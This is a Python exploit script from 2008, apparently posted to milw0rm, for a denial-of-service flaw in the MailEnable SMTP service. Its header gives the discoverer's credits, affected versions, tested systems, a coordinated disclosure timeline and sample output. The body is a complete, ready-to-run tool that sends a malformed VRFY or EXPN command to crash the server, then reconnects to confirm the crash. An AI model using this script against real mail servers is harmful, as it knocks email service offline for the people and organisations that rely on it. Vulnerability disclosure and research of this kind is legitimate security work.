#!/usr/bin/python
##########################################################################
#
# MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow ( DoS ) 
# Bug discovered by Matteo Memelli aka ryujin 
# http://www.gray-world.net http://www.be4mind.com
#
# Affected Versions : Standard Edition all versions
#                     Professional Edition all versions
#                     Enterprise Edition all versions
# Tested on OS      : Windows 2000 SP4 English
#                     Windows 2003 Standard Edition Italian
#                     Windows XP SP2 English
# Discovery Date               : 02/24/2008
# Initial vendor notification  : 03/06/2008
# Coordinated public disclosure: 03/11/2008
#
# CONGRATS TO THE MAILENABLE TEAM: VERY FAST IN PATCHING AND ANSWERING!!
#
#-------------------------------------------------------------------------
#
# THX TO muts at offensive-security.com : 
# I'll promise you: next time i'll find an easier one and get my shell :P
#
#-------------------------------------------------------------------------
##########################################################################
#
# matte@badrobot:~$ ./mailenable_smtp.py -H 192.168.1.245 -P 25 -c VRFY
# [+] Connecting to 192.168.1.245 on port 25
# 220 test.local ESMTP MailEnable Service, Version: 0-3.13- ready at \
# 03/06/08 13:20:49
#
# [+] Sending evilbuffer...
# [+] Waiting 10 secs before reconnecting...
# [+] Reconnecting...
# [+] SMTP Server died!
# [+] Connection refused
#
##########################################################################
 
from socket import *
from optparse import OptionParser
import sys, time

usage =  "%prog -H TARGET_HOST -P TARGET_PORT [-c COMMAND]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
                  action="store", dest="HOST",
                  help="Target Host")
parser.add_option("-P", "--target_port", type="int",
                  action="store", dest="PORT",
                  help="Target Port")
parser.add_option("-c", "--command", type="string",
                  action="store", dest="COMMAND",
                  help="Command: VRFY or EXPN ; defualt VRFY")
(options, args) = parser.parse_args()
HOST    = options.HOST
PORT    = options.PORT
COMMAND = options.COMMAND
if not (HOST and PORT):
   parser.print_help()
   sys.exit()
if not COMMAND:
   COMMAND = 'VRFY'
   print "[+] Using default command VRFY"
else:
   COMMAND = COMMAND.upper().strip()
   if COMMAND != 'VRFY' and COMMAND != 'EXPN':
      print 'Invalid command "%s" Choose between VRFY or EXPN!' % COMMAND
      sys.exit()
evilbuf = '%s \nSMTPISGONNADIE\r\n' % COMMAND
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] Connecting to %s on port %d" % (HOST, PORT)
print s.recv(1024)
print "[+] Sending evilbuffer..."
s.send(evilbuf)
s.close()
print "[+] Waiting 10 secs before reconnecting..."
time.sleep(10)
try:
   s = socket(AF_INET, SOCK_STREAM)
   print "[+] Reconnecting..."
   s.connect((HOST, PORT))
except error, e:
   print "[+] SMTP Server died!"
   print "[+] %s" % e[1]
else:
   print "[-] SMTP Server is still up"
   print "[-] This probably means that is not vulnerable"
   s.close()

# milw0rm.com [2008-03-11]